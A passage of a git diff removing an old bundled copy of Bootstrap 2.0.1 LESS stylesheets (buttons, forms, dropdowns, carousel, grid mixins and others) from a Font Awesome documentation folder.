-  border-bottom-color: #bbb;
-  .border-radius(4px);
-  @shadow: inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);
-  .box-shadow(@shadow);
-  cursor: pointer;
-
-  // Give IE7 some love
-  .reset-filter();
-  .ie7-restore-left-whitespace();
-}
-
-// Hover state
-.btn:hover {
-  color: @grayDark;
-  text-decoration: none;
-  background-color: darken(@white, 10%);
-  background-position: 0 -15px;
-
-  // transition is only when going to hover, otherwise the background
-  // behind the gradient (there for IE<=9 fallback) gets mismatched
-  .transition(background-position .1s linear);
-}
-
-// Focus state for keyboard and accessibility
-.btn:focus {
-  .tab-focus();
-}
-
-// Active state
-.btn.active,
-.btn:active {
-  background-image: none;
-  @shadow: inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);
-  .box-shadow(@shadow);
-  background-color: darken(@white, 10%);
-  background-color: darken(@white, 15%) e("\9");
-  outline: 0;
-}
-
-// Disabled state
-.btn.disabled,
-.btn[disabled] {
-  cursor: default;
-  background-image: none;
-  background-color: darken(@white, 10%);
-  .opacity(65);
-  .box-shadow(none);
-}
-
-
-// Button Sizes
-// --------------------------------------------------
-
-// Large
-.btn-large {
-  padding: 9px 14px;
-  font-size: @baseFontSize + 2px;
-  line-height: normal;
-  .border-radius(5px);
-}
-.btn-large [class^="icon-"] {
-  margin-top: 1px;
-}
-
-// Small
-.btn-small {
-  padding: 5px 9px;
-  font-size: @baseFontSize - 2px;
-  line-height: @baseLineHeight - 2px;
-}
-.btn-small [class^="icon-"] {
-  margin-top: -1px;
-}
-
-// Mini
-.btn-mini {
-  padding: 2px 6px;
-  font-size: @baseFontSize - 2px;
-  line-height: @baseLineHeight - 4px;
-}
-
-
-// Alternate buttons
-// --------------------------------------------------
-
-// Set text color
-// -------------------------
-.btn-primary,
-.btn-primary:hover,
-.btn-warning,
-.btn-warning:hover,
-.btn-danger,
-.btn-danger:hover,
-.btn-success,
-.btn-success:hover,
-.btn-info,
-.btn-info:hover,
-.btn-inverse,
-.btn-inverse:hover {
-  text-shadow: 0 -1px 0 rgba(0,0,0,.25);
-  color: @white;
-}
-// Provide *some* extra contrast for those who can get it
-.btn-primary.active,
-.btn-warning.active,
-.btn-danger.active,
-.btn-success.active,
-.btn-info.active,
-.btn-dark.active {
-  color: rgba(255,255,255,.75);
-}
-
-// Set the backgrounds
-// -------------------------
-.btn-primary {
-  .buttonBackground(@primaryButtonBackground, spin(@primaryButtonBackground, 20));
-}
-// Warning appears are orange
-.btn-warning {
-  .buttonBackground(lighten(@orange, 15%), @orange);
-}
-// Danger and error appear as red
-.btn-danger {
-  .buttonBackground(#ee5f5b, #bd362f);
-}
-// Success appears as green
-.btn-success {
-  .buttonBackground(#62c462, #51a351);
-}
-// Info appears as a neutral blue
-.btn-info {
-  .buttonBackground(#5bc0de, #2f96b4);
-}
-// Inverse appears as dark gray
-.btn-inverse {
-  .buttonBackground(#454545, #262626);
-}
-
-
-// Cross-browser Jank
-// --------------------------------------------------
-
-button.btn,
-input[type="submit"].btn {
-
-  // Firefox 3.6 only I believe
-  &::-moz-focus-inner {
-    padding: 0;
-    border: 0;
-  }
-
-  // IE7 has some default padding on button controls
-  *padding-top: 2px;
-  *padding-bottom: 2px;
-  &.large {
-    *padding-top: 7px;
-    *padding-bottom: 7px;
-  }
-  &.small {
-    *padding-top: 3px;
-    *padding-bottom: 3px;
-  }
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/carousel.less b/assets/font-awesome/docs/assets/less/tw-bs-201/carousel.less
deleted file mode 100755
index 8fbd3031..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/carousel.less
+++ /dev/null
@@ -1,121 +0,0 @@
-// CAROUSEL
-// --------
-
-.carousel {
-  position: relative;
-  margin-bottom: @baseLineHeight;
-  line-height: 1;
-}
-
-.carousel-inner {
-  overflow: hidden;
-  width: 100%;
-  position: relative;
-}
-
-.carousel {
-
-  .item {
-    display: none;
-    position: relative;
-    .transition(.6s ease-in-out left);
-  }
-
-  // Account for jankitude on images
-  .item > img {
-    display: block;
-    line-height: 1;
-  }
-
-  .active,
-  .next,
-  .prev { display: block; }
-
-  .active {
-    left: 0;
-  }
-
-  .next,
-  .prev {
-    position: absolute;
-    top: 0;
-    width: 100%;
-  }
-
-  .next {
-    left: 100%;
-  }
-  .prev {
-    left: -100%;
-  }
-  .next.left,
-  .prev.right {
-    left: 0;
-  }
-
-  .active.left {
-    left: -100%;
-  }
-  .active.right {
-    left: 100%;
-  }
-
-}
-
-// Left/right controls for nav
-// ---------------------------
-
-.carousel-control {
-  position: absolute;
-  top: 40%;
-  left: 15px;
-  width: 40px;
-  height: 40px;
-  margin-top: -20px;
-  font-size: 60px;
-  font-weight: 100;
-  line-height: 30px;
-  color: @white;
-  text-align: center;
-  background: @grayDarker;
-  border: 3px solid @white;
-  .border-radius(23px);
-  .opacity(50);
-
-  // we can't have this transition here
-  // because webkit cancels the carousel
-  // animation if you trip this while
-  // in the middle of another animation
-  // ;_;
-  // .transition(opacity .2s linear);
-
-  // Reposition the right one
-  &.right {
-    left: auto;
-    right: 15px;
-  }
-
-  // Hover state
-  &:hover {
-    color: @white;
-    text-decoration: none;
-    .opacity(90);
-  }
-}
-
-// Caption for text below images
-// -----------------------------
-
-.carousel-caption {
-  position: absolute;
-  left: 0;
-  right: 0;
-  bottom: 0;
-  padding: 10px 15px 5px;
-  background: @grayDark;
-  background: rgba(0,0,0,.75);
-}
-.carousel-caption h4,
-.carousel-caption p {
-  color: @white;
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/close.less b/assets/font-awesome/docs/assets/less/tw-bs-201/close.less
deleted file mode 100755
index a0e5edba..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/close.less
+++ /dev/null
@@ -1,18 +0,0 @@
-// CLOSE ICONS
-// -----------
-
-.close {
-  float: right;
-  font-size: 20px;
-  font-weight: bold;
-  line-height: @baseLineHeight;
-  color: @black;
-  text-shadow: 0 1px 0 rgba(255,255,255,1);
-  .opacity(20);
-  &:hover {
-    color: @black;
-    text-decoration: none;
-    .opacity(40);
-    cursor: pointer;
-  }
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/code.less b/assets/font-awesome/docs/assets/less/tw-bs-201/code.less
deleted file mode 100755
index e2157d8a..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/code.less
+++ /dev/null
@@ -1,57 +0,0 @@
-// Code.less
-// Code typography styles for the <code> and <pre> elements
-// --------------------------------------------------------
-
-// Inline and block code styles
-code,
-pre {
-  padding: 0 3px 2px;
-  #font > #family > .monospace;
-  font-size: @baseFontSize - 1;
-  color: @grayDark;
-  .border-radius(3px);
-}
-
-// Inline code
-code {
-  padding: 3px 4px;
-  color: #d14;
-  background-color: #f7f7f9;
-  border: 1px solid #e1e1e8;
-}
-
-// Blocks of code
-pre {
-  display: block;
-  padding: (@baseLineHeight - 1) / 2;
-  margin: 0 0 @baseLineHeight / 2;
-  font-size: 12px;
-  line-height: @baseLineHeight;
-  background-color: #f5f5f5;
-  border: 1px solid #ccc; // fallback for IE7-8
-  border: 1px solid rgba(0,0,0,.15);
-  .border-radius(4px);
-  white-space: pre;
-  white-space: pre-wrap;
-  word-break: break-all;
-  word-wrap: break-word;
-
-  // Make prettyprint styles more spaced out for readability
-  &.prettyprint {
-    margin-bottom: @baseLineHeight;
-  }
-
-  // Account for some code outputs that place code tags in pre tags
-  code {
-    padding: 0;
-    color: inherit;
-    background-color: transparent;
-    border: 0;
-  }
-}
-
-// Enable scrollable blocks of code
-.pre-scrollable {
-  max-height: 340px;
-  overflow-y: scroll;
-}
\ No newline at end of file
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/component-animations.less b/assets/font-awesome/docs/assets/less/tw-bs-201/component-animations.less
deleted file mode 100755
index 4f2a4fd1..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/component-animations.less
+++ /dev/null
@@ -1,18 +0,0 @@
-// COMPONENT ANIMATIONS
-// --------------------
-
-.fade {
-  .transition(opacity .15s linear);
-  opacity: 0;
-  &.in {
-    opacity: 1;
-  }
-}
-
-.collapse {
-  .transition(height .35s ease);
-  position:relative;
-  overflow:hidden;
-  height: 0;
-  &.in { height: auto; }
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/dropdowns.less b/assets/font-awesome/docs/assets/less/tw-bs-201/dropdowns.less
deleted file mode 100755
index 1ec06b04..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/dropdowns.less
+++ /dev/null
@@ -1,130 +0,0 @@
-// DROPDOWN MENUS
-// --------------
-
-// Use the .menu class on any <li> element within the topbar or ul.tabs and you'll get some superfancy dropdowns
-.dropdown {
-  position: relative;
-}
-.dropdown-toggle {
-  // The caret makes the toggle a bit too tall in IE7
-  *margin-bottom: -3px;
-}
-.dropdown-toggle:active,
-.open .dropdown-toggle {
-  outline: 0;
-}
-// Dropdown arrow/caret
-.caret {
-  display: inline-block;
-  width: 0;
-  height: 0;
-  text-indent: -99999px;
-  // IE7 won't do the border trick if there's a text indent, but it doesn't
-  // do the content that text-indent is hiding, either, so we're ok.
-  *text-indent: 0;
-  vertical-align: top;
-  border-left:  4px solid transparent;
-  border-right: 4px solid transparent;
-  border-top:   4px solid @black;
-  .opacity(30);
-  content: "\2193";
-}
-.dropdown .caret {
-  margin-top: 8px;
-  margin-left: 2px;
-}
-.dropdown:hover .caret,
-.open.dropdown .caret {
-  .opacity(100);
-}
-// The dropdown menu (ul)
-.dropdown-menu {
-  position: absolute;
-  top: 100%;
-  left: 0;
-  z-index: @zindexDropdown;
-  float: left;
-  display: none; // none by default, but block on "open" of the menu
-  min-width: 160px;
-  _width: 160px;
-  padding: 4px 0;
-  margin: 0; // override default ul
-  list-style: none;
-  background-color: @white;
-  border-color: #ccc;
-  border-color: rgba(0,0,0,.2);
-  border-style: solid;
-  border-width: 1px;
-  .border-radius(0 0 5px 5px);
-  .box-shadow(0 5px 10px rgba(0,0,0,.2));
-  -webkit-background-clip: padding-box;
-     -moz-background-clip: padding;
-          background-clip: padding-box;
-  *border-right-width: 2px;
-  *border-bottom-width: 2px;
-
-  // Allow for dropdowns to go bottom up (aka, dropup-menu)
-  &.bottom-up {
-    top: auto;
-    bottom: 100%;
-    margin-bottom: 2px;
-  }
-
-  // Dividers (basically an hr) within the dropdown
-  .divider {
-    height: 1px;
-    margin: 5px 1px;
-    overflow: hidden;
-    background-color: #e5e5e5;
-    border-bottom: 1px solid @white;
-
-    // IE7 needs a set width since we gave a height. Restricting just
-    // to IE7 to keep the 1px left/right space in other browsers.
-    // It is unclear where IE is getting the extra space that we need
-    // to negative-margin away, but so it goes.
-    *width: 100%;
-    *margin: -5px 0 5px;
-  }
-
-  // Links within the dropdown menu
-  a {
-    display: block;
-    padding: 3px 15px;
-    clear: both;
-    font-weight: normal;
-    line-height: @baseLineHeight;
-    color: @gray;
-    white-space: nowrap;
-  }
-}
-
-// Hover state
-.dropdown-menu li > a:hover,
-.dropdown-menu .active > a,
-.dropdown-menu .active > a:hover {
-  color: @white;
-  text-decoration: none;
-  background-color: @linkColor;
-}
-
-// Open state for the dropdown
-.dropdown.open {
-  // IE7's z-index only goes to the nearest positioned ancestor, which would
-  // make the menu appear below buttons that appeared later on the page
-  *z-index: @zindexDropdown;
-
-  .dropdown-toggle {
-    color: @white;
-    background: #ccc;
-    background: rgba(0,0,0,.3);
-  }
-  .dropdown-menu {
-    display: block;
-  }
-}
-
-// Typeahead
-.typeahead {
-  margin-top: 2px; // give it some space to breathe
-  .border-radius(4px);
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/forms.less b/assets/font-awesome/docs/assets/less/tw-bs-201/forms.less
deleted file mode 100755
index 0a5fa2b8..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/forms.less
+++ /dev/null
@@ -1,522 +0,0 @@
-// Forms.less
-// Base styles for various input types, form layouts, and states
-// -------------------------------------------------------------
-
-
-// GENERAL STYLES
-// --------------
-
-// Make all forms have space below them
-form {
-  margin: 0 0 @baseLineHeight;
-}
-
-fieldset {
-  padding: 0;
-  margin: 0;
-  border: 0;
-}
-
-// Groups of fields with labels on top (legends)
-legend {
-  display: block;
-  width: 100%;
-  padding: 0;
-  margin-bottom: @baseLineHeight * 1.5;
-  font-size: @baseFontSize * 1.5;
-  line-height: @baseLineHeight * 2;
-  color: @grayDark;
-  border: 0;
-  border-bottom: 1px solid #eee;
-
-  // Small
-  small {
-    font-size: @baseLineHeight * .75;
-    color: @grayLight;
-  }
-}
-
-// Set font for forms
-label,
-input,
-button,
-select,
-textarea {
-  #font > .shorthand(@baseFontSize,normal,@baseLineHeight); // Set size, weight, line-height here
-}
-input,
-button,
-select,
-textarea {
-  #font > #family > .sans-serif(); // And only set font-family here for those that need it (note the missing label element)
-}
-
-// Identify controls by their labels
-label {
-  display: block;
-  margin-bottom: 5px;
-  color: @grayDark;
-}
-
-// Inputs, Textareas, Selects
-input,
-textarea,
-select,
-.uneditable-input {
-  display: inline-block;
-  width: 210px;
-  height: @baseLineHeight;
-  padding: 4px;
-  margin-bottom: 9px;
-  font-size: @baseFontSize;
-  line-height: @baseLineHeight;
-  color: @gray;
-  border: 1px solid #ccc;
-  .border-radius(3px);
-}
-.uneditable-textarea {
-  width: auto;
-  height: auto;
-}
-
-// Inputs within a label
-label input,
-label textarea,
-label select {
-  display: block;
-}
-
-// Mini reset for unique input types
-input[type="image"],
-input[type="checkbox"],
-input[type="radio"] {
-  width: auto;
-  height: auto;
-  padding: 0;
-  margin: 3px 0;
-  *margin-top: 0; /* IE7 */
-  line-height: normal;
-  cursor: pointer;
-  .border-radius(0);
-  border: 0 \9; /* IE9 and down */
-}
-input[type="image"] {
-  border: 0;
-}
-
-// Reset the file input to browser defaults
-input[type="file"] {
-  width: auto;
-  padding: initial;
-  line-height: initial;
-  border: initial;
-  background-color: @white;
-  background-color: initial;
-  .box-shadow(none);
-}
-
-// Help out input buttons
-input[type="button"],
-input[type="reset"],
-input[type="submit"] {
-  width: auto;
-  height: auto;
-}
-
-// Set the height of select and file controls to match text inputs
-select,
-input[type="file"] {
-  height: 28px; /* In IE7, the height of the select element cannot be changed by height, only font-size */
-  *margin-top: 4px; /* For IE7, add top margin to align select with labels */
-  line-height: 28px;
-}
-
-// Reset line-height for IE
-input[type="file"] {
-  line-height: 18px \9;
-}
-
-// Chrome on Linux and Mobile Safari need background-color
-select {
-  width: 220px; // default input width + 10px of padding that doesn't get applied
-  background-color: @white;
-}
-
-// Make multiple select elements height not fixed
-select[multiple],
-select[size] {
-  height: auto;
-}
-
-// Remove shadow from image inputs
-input[type="image"] {
-  .box-shadow(none);
-}
-
-// Make textarea height behave
-textarea {
-  height: auto;
-}
-
-// Hidden inputs
-input[type="hidden"] {
-  display: none;
-}
-
-
-
-// CHECKBOXES & RADIOS
-// -------------------
-
-// Indent the labels to position radios/checkboxes as hanging
-.radio,
-.checkbox {
-  padding-left: 18px;
-}
-.radio input[type="radio"],
-.checkbox input[type="checkbox"] {
-  float: left;
-  margin-left: -18px;
-}
-
-// Move the options list down to align with labels
-.controls > .radio:first-child,
-.controls > .checkbox:first-child {
-  padding-top: 5px; // has to be padding because margin collaspes
-}
-
-// Radios and checkboxes on same line
-// TODO v3: Convert .inline to .control-inline
-.radio.inline,
-.checkbox.inline {
-  display: inline-block;
-  padding-top: 5px;
-  margin-bottom: 0;
-  vertical-align: middle;
-}
-.radio.inline + .radio.inline,
-.checkbox.inline + .checkbox.inline {
-  margin-left: 10px; // space out consecutive inline controls
-}
-
-
-
-// FOCUS STATE
-// -----------
-
-input,
-textarea {
-  .box-shadow(inset 0 1px 1px rgba(0,0,0,.075));
-  @transition: border linear .2s, box-shadow linear .2s;
-  .transition(@transition);
-}
-input:focus,
-textarea:focus {
-  border-color: rgba(82,168,236,.8);
-  @shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(82,168,236,.6);
-  .box-shadow(@shadow);
-  outline: 0;
-  outline: thin dotted \9; /* IE6-9 */
-}
-input[type="file"]:focus,
-input[type="radio"]:focus,
-input[type="checkbox"]:focus,
-select:focus {
-  .box-shadow(none); // override for file inputs
-  .tab-focus();
-}
-
-
-
-// INPUT SIZES
-// -----------
-
-// General classes for quick sizes
-.input-mini       { width: 60px; }
-.input-small      { width: 90px; }
-.input-medium     { width: 150px; }
-.input-large      { width: 210px; }
-.input-xlarge     { width: 270px; }
-.input-xxlarge    { width: 530px; }
-
-// Grid style input sizes
-input[class*="span"],
-select[class*="span"],
-textarea[class*="span"],
-.uneditable-input {
-  float: none;
-  margin-left: 0;
-}
-
-
-
-// GRID SIZING FOR INPUTS
-// ----------------------
-
-#inputGridSystem > .generate(@gridColumns, @gridColumnWidth, @gridGutterWidth);
-
-
-
-
-// DISABLED STATE
-// --------------
-
-// Disabled and read-only inputs
-input[disabled],
-select[disabled],
-textarea[disabled],
-input[readonly],
-select[readonly],
-textarea[readonly] {
-  background-color: #f5f5f5;
-  border-color: #ddd;
-  cursor: not-allowed;
-}
-
-
-
-
-// FORM FIELD FEEDBACK STATES
-// --------------------------
-
-// Warning
-.control-group.warning {
-  .formFieldState(@warningText, @warningText, @warningBackground);
-}
-// Error
-.control-group.error {
-  .formFieldState(@errorText, @errorText, @errorBackground);
-}
-// Success
-.control-group.success {
-  .formFieldState(@successText, @successText, @successBackground);
-}
-
-// HTML5 invalid states
-// Shares styles with the .control-group.error above
-input:focus:required:invalid,
-textarea:focus:required:invalid,
-select:focus:required:invalid {
-  color: #b94a48;
-  border-color: #ee5f5b;
-  &:focus {
-    border-color: darken(#ee5f5b, 10%);
-    .box-shadow(0 0 6px lighten(#ee5f5b, 20%));    
-  }
-}
-
-
-
-// FORM ACTIONS
-// ------------
-
-.form-actions {
-  padding: (@baseLineHeight - 1) 20px @baseLineHeight;
-  margin-top: @baseLineHeight;
-  margin-bottom: @baseLineHeight;
-  background-color: #f5f5f5;
-  border-top: 1px solid #ddd;
-}
-
-// For text that needs to appear as an input but should not be an input
-.uneditable-input {
-  display: block;
-  background-color: @white;
-  border-color: #eee;
-  .box-shadow(inset 0 1px 2px rgba(0,0,0,.025));
-  cursor: not-allowed;
-}
-
-// Placeholder text gets special styles; can't be bundled together though for some reason
-.placeholder(@grayLight);
-
-
-
-// HELP TEXT
-// ---------
-
-.help-block {
-  display: block; // account for any element using help-block
-  margin-top: 5px;
-  margin-bottom: 0;
-  color: @grayLight;
-}
-
-.help-inline {
-  display: inline-block;
-  .ie7-inline-block();
-  margin-bottom: 9px;
-  vertical-align: middle;
-  padding-left: 5px;
-}
-
-
-
-// INPUT GROUPS
-// ------------
-
-// Allow us to put symbols and text within the input field for a cleaner look
-.input-prepend,
-.input-append {
-  margin-bottom: 5px;
-  .clearfix(); // Clear the float to prevent wrapping
-  input,
-  .uneditable-input {
-    .border-radius(0 3px 3px 0);
-    &:focus {
-      position: relative;
-      z-index: 2;
-    }
-  }
-  .uneditable-input {
-    border-left-color: #ccc;
-  }
-  .add-on {
-    float: left;
-    display: block;
-    width: auto;
-    min-width: 16px;
-    height: @baseLineHeight;
-    margin-right: -1px;
-    padding: 4px 5px;
-    font-weight: normal;
-    line-height: @baseLineHeight;
-    color: @grayLight;
-    text-align: center;
-    text-shadow: 0 1px 0 @white;
-    background-color: #f5f5f5;
-    border: 1px solid #ccc;
-    .border-radius(3px 0 0 3px);
-  }
-  .active {
-    background-color: lighten(@green, 30);
-    border-color: @green;
-  }
-}
-.input-prepend {
-  .add-on {
-    *margin-top: 1px; /* IE6-7 */
-  }
-}
-.input-append {
-  input,
-  .uneditable-input {
-    float: left;
-    .border-radius(3px 0 0 3px);
-  }
-  .uneditable-input {
-    border-left-color: #eee;
-    border-right-color: #ccc;    
-  }
-  .add-on {
-    margin-right: 0;
-    margin-left: -1px;
-    .border-radius(0 3px 3px 0);
-  }
-  input:first-child {
-    // In IE7, having a hasLayout container (from clearfix's zoom:1) can make the first input
-    // inherit the sum of its ancestors' margins.
-    *margin-left: -160px;
-
-    &+.add-on {
-      *margin-left: -21px;
-    }
-  }
-}
-
-
-
-// SEARCH FORM
-// -----------
-
-.search-query {
-  padding-left: 14px;
-  padding-right: 14px;
-  margin-bottom: 0; // remove the default margin on all inputs
-  .border-radius(14px);
-}
-
-
-
-// HORIZONTAL & VERTICAL FORMS
-// ---------------------------
-
-// Common properties
-// -----------------
-
-.form-search,
-.form-inline,
-.form-horizontal {
-  input,
-  textarea,
-  select,
-  .help-inline,
-  .uneditable-input {
-    display: inline-block;
-    margin-bottom: 0;
-  }
-  // Re-hide hidden elements due to specifity
-  .hide {
-    display: none;
-  }
-}
-.form-search label,
-.form-inline label,
-.form-search .input-append,
-.form-inline .input-append,
-.form-search .input-prepend,
-.form-inline .input-prepend {
-  display: inline-block;
-}
-// Make the prepend and append add-on vertical-align: middle;
-.form-search .input-append .add-on,
-.form-inline .input-prepend .add-on,
-.form-search .input-append .add-on,
-.form-inline .input-prepend .add-on {
-  vertical-align: middle;
-}
-// Inline checkbox/radio labels
-.form-search .radio,
-.form-inline .radio,
-.form-search .checkbox,
-.form-inline .checkbox {
-  margin-bottom: 0;
-  vertical-align: middle;
-}
-
-// Margin to space out fieldsets
-.control-group {
-  margin-bottom: @baseLineHeight / 2;
-}
-
-// Legend collapses margin, so next element is responsible for spacing
-legend + .control-group {
-  margin-top: @baseLineHeight;
-  -webkit-margin-top-collapse: separate;
-}
-
-// Horizontal-specific styles
-// --------------------------
-
-.form-horizontal {
-  // Increase spacing between groups
-  .control-group {
-    margin-bottom: @baseLineHeight;
-    .clearfix();
-  }
-  // Float the labels left
-  .control-label {
-    float: left;
-    width: 140px;
-    padding-top: 5px;
-    text-align: right;
-  }
-  // Move over all input controls and content
-  .controls {
-    margin-left: 160px;
-  }
-  // Move over buttons in .form-actions to align with .controls
-  .form-actions {
-    padding-left: 160px;
-  }
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/grid.less b/assets/font-awesome/docs/assets/less/tw-bs-201/grid.less
deleted file mode 100755
index 4acb0a44..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/grid.less
+++ /dev/null
@@ -1,8 +0,0 @@
-// GRID SYSTEM
-// -----------
-
-// Fixed (940px)
-#gridSystem > .generate(@gridColumns, @gridColumnWidth, @gridGutterWidth);
-
-// Fluid (940px)
-#fluidGridSystem > .generate(@gridColumns, @fluidGridColumnWidth, @fluidGridGutterWidth);
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/hero-unit.less b/assets/font-awesome/docs/assets/less/tw-bs-201/hero-unit.less
deleted file mode 100755
index cba1cc46..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/hero-unit.less
+++ /dev/null
@@ -1,20 +0,0 @@
-// HERO UNIT
-// ---------
-
-.hero-unit {
-  padding: 60px;
-  margin-bottom: 30px;
-  background-color: #f5f5f5;
-  .border-radius(6px);
-  h1 {
-    margin-bottom: 0;
-    font-size: 60px;
-    line-height: 1;
-    letter-spacing: -1px;
-  }
-  p {
-    font-size: 18px;
-    font-weight: 200;
-    line-height: @baseLineHeight * 1.5;
-  }
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/labels.less b/assets/font-awesome/docs/assets/less/tw-bs-201/labels.less
deleted file mode 100755
index 268435a0..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/labels.less
+++ /dev/null
@@ -1,32 +0,0 @@
-// LABELS
-// ------
-
-// Base
-.label {
-  padding: 2px 4px 3px;
-  font-size: @baseFontSize * .85;
-  font-weight: bold;
-  color: @white;
-  text-shadow: 0 -1px 0 rgba(0,0,0,.25);
-  background-color: @grayLight;
-  .border-radius(3px);
-}
-
-// Hover state
-.label:hover {
-  color: @white;
-  text-decoration: none;
-}
-
-// Colors
-.label-important        { background-color: @errorText; }
-.label-important:hover  { background-color: darken(@errorText, 10%); }
-
-.label-warning          { background-color: @orange; }
-.label-warning:hover    { background-color: darken(@orange, 10%); }
-
-.label-success          { background-color: @successText; }
-.label-success:hover    { background-color: darken(@successText, 10%); }
-
-.label-info             { background-color: @infoText; }
-.label-info:hover       { background-color: darken(@infoText, 10%); }
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/layouts.less b/assets/font-awesome/docs/assets/less/tw-bs-201/layouts.less
deleted file mode 100755
index c8d358b2..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/layouts.less
+++ /dev/null
@@ -1,17 +0,0 @@
-//
-// Layouts
-// Fixed-width and fluid (with sidebar) layouts
-// --------------------------------------------
-
-
-// Container (centered, fixed-width layouts)
-.container {
-  .container-fixed();
-}
-
-// Fluid layouts (left aligned, with sidebar, min- & max-width content)
-.container-fluid {
-  padding-left: @gridGutterWidth;
-  padding-right: @gridGutterWidth;
-  .clearfix();
-}
\ No newline at end of file
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/mixins.less b/assets/font-awesome/docs/assets/less/tw-bs-201/mixins.less
deleted file mode 100755
index 3cf1a370..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/mixins.less
+++ /dev/null
@@ -1,590 +0,0 @@
-// Mixins.less
-// Snippets of reusable CSS to develop faster and keep code readable
-// -----------------------------------------------------------------
-
-
-// UTILITY MIXINS
-// --------------------------------------------------
-
-// Clearfix
-// --------
-// For clearing floats like a boss h5bp.com/q
-.clearfix {
-  *zoom: 1;
-  &:before,
-  &:after {
-    display: table;
-    content: "";
-  }
-  &:after {
-    clear: both;
-  }
-}
-
-// Webkit-style focus
-// ------------------
-.tab-focus() {
-  // Default
-  outline: thin dotted #333;
-  // Webkit
-  outline: 5px auto -webkit-focus-ring-color;
-  outline-offset: -2px;
-}
-
-// Center-align a block level element
-// ----------------------------------
-.center-block() {
-  display: block;
-  margin-left: auto;
-  margin-right: auto;
-}
-
-// IE7 inline-block
-// ----------------
-.ie7-inline-block() {
-  *display: inline; /* IE7 inline-block hack */
-  *zoom: 1;
-}
-
-// IE7 likes to collapse whitespace on either side of the inline-block elements.
-// Ems because we're attempting to match the width of a space character. Left
-// version is for form buttons, which typically come after other elements, and
-// right version is for icons, which come before. Applying both is ok, but it will
-// mean that space between those elements will be .6em (~2 space characters) in IE7,
-// instead of the 1 space in other browsers.
-.ie7-restore-left-whitespace() {
-  *margin-left: .3em;
-
-  &:first-child {
-    *margin-left: 0;
-  }
-}
-
-.ie7-restore-right-whitespace() {
-  *margin-right: .3em;
-
-  &:last-child {
-    *margin-left: 0;
-  }
-}
-
-// Sizing shortcuts
-// -------------------------
-.size(@height: 5px, @width: 5px) {
-  width: @width;
-  height: @height;
-}
-.square(@size: 5px) {
-  .size(@size, @size);
-}
-
-// Placeholder text
-// -------------------------
-.placeholder(@color: @placeholderText) {
-  :-moz-placeholder {
-    color: @color;
-  }
-  ::-webkit-input-placeholder {
-    color: @color;
-  }
-}
-
-// Text overflow
-// -------------------------
-// Requires inline-block or block for proper styling
-.text-overflow() {
-  overflow: hidden;
-  text-overflow: ellipsis;
-  white-space: nowrap;
-}
-
-
-
-// FONTS
-// --------------------------------------------------
-
-#font {
-  #family {
-    .serif() {
-      font-family: Georgia, "Times New Roman", Times, serif;
-    }
-    .sans-serif() {
-      font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
-    }
-    .monospace() {
-      font-family: Menlo, Monaco, "Courier New", monospace;
-    }
-  }
-  .shorthand(@size: @baseFontSize, @weight: normal, @lineHeight: @baseLineHeight) {
-    font-size: @size;
-    font-weight: @weight;
-    line-height: @lineHeight;
-  }
-  .serif(@size: @baseFontSize, @weight: normal, @lineHeight: @baseLineHeight) {
-    #font > #family > .serif;
-    #font > .shorthand(@size, @weight, @lineHeight);
-  }
-  .sans-serif(@size: @baseFontSize, @weight: normal, @lineHeight: @baseLineHeight) {
-    #font > #family > .sans-serif;
-    #font > .shorthand(@size, @weight, @lineHeight);
-  }
-  .monospace(@size: @baseFontSize, @weight: normal, @lineHeight: @baseLineHeight) {
-    #font > #family > .monospace;
-    #font > .shorthand(@size, @weight, @lineHeight);
-  }
-}
-
-
-
-// GRID SYSTEM
-// --------------------------------------------------
-
-// Site container
-// -------------------------
-.container-fixed() {
-  width: @gridRowWidth;
-  margin-left: auto;
-  margin-right: auto;
-  .clearfix();
-}
-
-// Le grid system
-// -------------------------
-#gridSystem {
-  // Setup the mixins to be used
-  .columns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, @columns) {
-    width: (@gridColumnWidth * @columns) + (@gridGutterWidth * (@columns - 1));
-  } 
-  .offset(@gridColumnWidth, @gridGutterWidth, @columns) {
-    margin-left: (@gridColumnWidth * @columns) + (@gridGutterWidth * (@columns - 1)) + (@gridGutterWidth * 2);
-  }
-  .gridColumn(@gridGutterWidth) {
-    float: left;
-    margin-left: @gridGutterWidth;
-  }
-  // Take these values and mixins, and make 'em do their thang
-  .generate(@gridColumns, @gridColumnWidth, @gridGutterWidth) {
-    // Row surrounds the columns
-    .row {
-      margin-left: @gridGutterWidth * -1;
-      .clearfix();
-    }
-    // Find all .span# classes within .row and give them the necessary properties for grid columns (supported by all browsers back to IE7, thanks @dhg)
-    [class*="span"] {
-      #gridSystem > .gridColumn(@gridGutterWidth);
-    }
-    // Default columns
-    .span1     { #gridSystem > .columns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 1); }
-    .span2     { #gridSystem > .columns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 2); }
-    .span3     { #gridSystem > .columns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 3); }
-    .span4     { #gridSystem > .columns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 4); }
